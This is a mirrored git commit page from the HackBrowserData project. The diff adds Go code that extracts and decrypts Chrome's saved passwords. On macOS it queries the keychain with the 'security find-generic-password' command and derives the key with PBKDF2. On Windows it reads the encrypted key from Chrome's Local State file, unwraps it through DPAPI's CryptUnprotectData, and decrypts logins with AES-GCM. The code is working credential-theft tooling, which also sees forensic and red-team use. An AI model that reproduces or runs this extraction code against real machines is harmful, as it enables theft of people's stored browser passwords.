mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
feat: add error warp
This commit is contained in:
+19
-1
@@ -1,6 +1,7 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"hack-browser-data/log"
|
||||
"io/ioutil"
|
||||
@@ -11,6 +12,23 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
passwordIsEmpty = errors.New("decrypt fail, password is empty")
|
||||
)
|
||||
|
||||
type DecryptError struct {
|
||||
err error
|
||||
msg string
|
||||
}
|
||||
|
||||
func (e *DecryptError) Error() string {
|
||||
return fmt.Sprintf("%s: %s", e.msg, e.err)
|
||||
}
|
||||
|
||||
func (e *DecryptError) Unwrap() error {
|
||||
return e.err
|
||||
}
|
||||
|
||||
const (
|
||||
LoginData = "Login Data"
|
||||
History = "History"
|
||||
@@ -49,7 +67,7 @@ func IntToBool(a int) bool {
|
||||
|
||||
func TimeEpochFormat(epoch int64) time.Time {
|
||||
maxTime := int64(99633311740000000)
|
||||
if epoch > maxTime{
|
||||
if epoch > maxTime {
|
||||
epoch = maxTime
|
||||
}
|
||||
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)
|
||||
|
||||
+16
-5
@@ -6,6 +6,7 @@ import (
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hack-browser-data/log"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
@@ -22,7 +23,6 @@ var (
|
||||
command = []string{"security", "find-generic-password", "-wa", "Chrome"}
|
||||
chromeSalt = []byte("saltysalt")
|
||||
chromeKey []byte
|
||||
chromePass []byte
|
||||
)
|
||||
|
||||
func GetDBPath(dbName ...string) (dbFile []string) {
|
||||
@@ -58,16 +58,27 @@ func InitChromeKey() error {
|
||||
log.Println(err)
|
||||
}
|
||||
temp := stdout.Bytes()
|
||||
chromePass = temp[:len(temp)-1]
|
||||
decryptPass(chromePass)
|
||||
chromePass := temp[:len(temp)-1]
|
||||
decryptChromeKey(chromePass)
|
||||
return err
|
||||
}
|
||||
|
||||
func decryptPass(chromePass []byte) {
|
||||
func decryptChromeKey(chromePass []byte) {
|
||||
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
|
||||
}
|
||||
|
||||
func Aes128CBCDecrypt(encryptPass []byte) (string, error) {
|
||||
func DecryptChromePass(encryptPass []byte) (string, error) {
|
||||
if len(encryptPass) > 3 {
|
||||
return aes128CBCDecrypt(encryptPass[3:])
|
||||
} else {
|
||||
return "", &DecryptError{
|
||||
err: passwordIsEmpty,
|
||||
msg: fmt.Sprintf("password is %s", string(encryptPass)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func aes128CBCDecrypt(encryptPass []byte) (string, error) {
|
||||
if len(chromeKey) == 0 {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
package utils
|
||||
+103
-11
@@ -1,26 +1,118 @@
|
||||
package utils
|
||||
|
||||
const (
|
||||
winChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/"
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"hack-browser-data/log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
)
|
||||
|
||||
func GetDBPath(dbName string) string {
|
||||
s, err := filepath.Glob(winChromeDir + dbName)
|
||||
if err != nil && len(s) == 0 {
|
||||
panic(err)
|
||||
const (
|
||||
winChromeKeyDir = "/AppData/Local/Google/Chrome/User Data/Local State"
|
||||
winChromeDir = "/AppData/Local/Google/Chrome/User Data/*/"
|
||||
)
|
||||
|
||||
var (
|
||||
chromeKey []byte
|
||||
)
|
||||
|
||||
func InitChromeKey() error {
|
||||
chromeKeyPath := os.Getenv("USERPROFILE") + winChromeKeyDir
|
||||
keyFile, err := ReadFile(chromeKeyPath)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
return err
|
||||
}
|
||||
return s[0]
|
||||
s := gjson.Get(keyFile, "os_crypt.encrypted_key").String()
|
||||
masterKey, err := base64.StdEncoding.DecodeString(s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chromeKey, err = decryptStringWithDPAPI(masterKey[5:])
|
||||
return err
|
||||
}
|
||||
|
||||
func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
|
||||
func GetDBPath(dbName ...string) (dbFile []string) {
|
||||
var dbPath []string
|
||||
chromeDBPath := os.Getenv("USERPROFILE") + winChromeDir
|
||||
for _, v := range dbName {
|
||||
dbPath = append(dbPath, chromeDBPath+v)
|
||||
}
|
||||
for _, v := range dbPath {
|
||||
s, err := filepath.Glob(v)
|
||||
if err != nil && len(s) == 0 {
|
||||
continue
|
||||
}
|
||||
if len(s) > 0 {
|
||||
log.Debugf("Find %s File Success", v)
|
||||
log.Debugf("%s file location is %s", v, s[0])
|
||||
dbFile = append(dbFile, s[0])
|
||||
}
|
||||
}
|
||||
return dbFile
|
||||
}
|
||||
|
||||
func DecryptChromePass(encryptPass []byte) (string, error) {
|
||||
if len(encryptPass) > 15 {
|
||||
// remove prefix 'v10'
|
||||
return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15])
|
||||
} else {
|
||||
return "", passwordIsEmpty
|
||||
}
|
||||
}
|
||||
|
||||
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
|
||||
func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
return "", err
|
||||
}
|
||||
blockMode, _ := cipher.NewGCM(block)
|
||||
origData, err := blockMode.Open(nil, nounce, crypted, nil)
|
||||
if err != nil{
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(origData), nil
|
||||
}
|
||||
|
||||
type DataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func NewBlob(d []byte) *DataBlob {
|
||||
if len(d) == 0 {
|
||||
return &DataBlob{}
|
||||
}
|
||||
return &DataBlob{
|
||||
pbData: &d[0],
|
||||
cbData: uint32(len(d)),
|
||||
}
|
||||
}
|
||||
|
||||
func (b *DataBlob) ToByteArray() []byte {
|
||||
d := make([]byte, b.cbData)
|
||||
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
|
||||
return d
|
||||
}
|
||||
|
||||
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
|
||||
func decryptStringWithDPAPI(data []byte) ([]byte, error) {
|
||||
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
|
||||
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
|
||||
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
|
||||
procLocalFree := dllKernel.NewProc("LocalFree")
|
||||
var outBlob DataBlob
|
||||
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
|
||||
if r == 0 {
|
||||
return nil, err
|
||||
}
|
||||
return origData, nil
|
||||
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
||||
return outBlob.ToByteArray(), nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user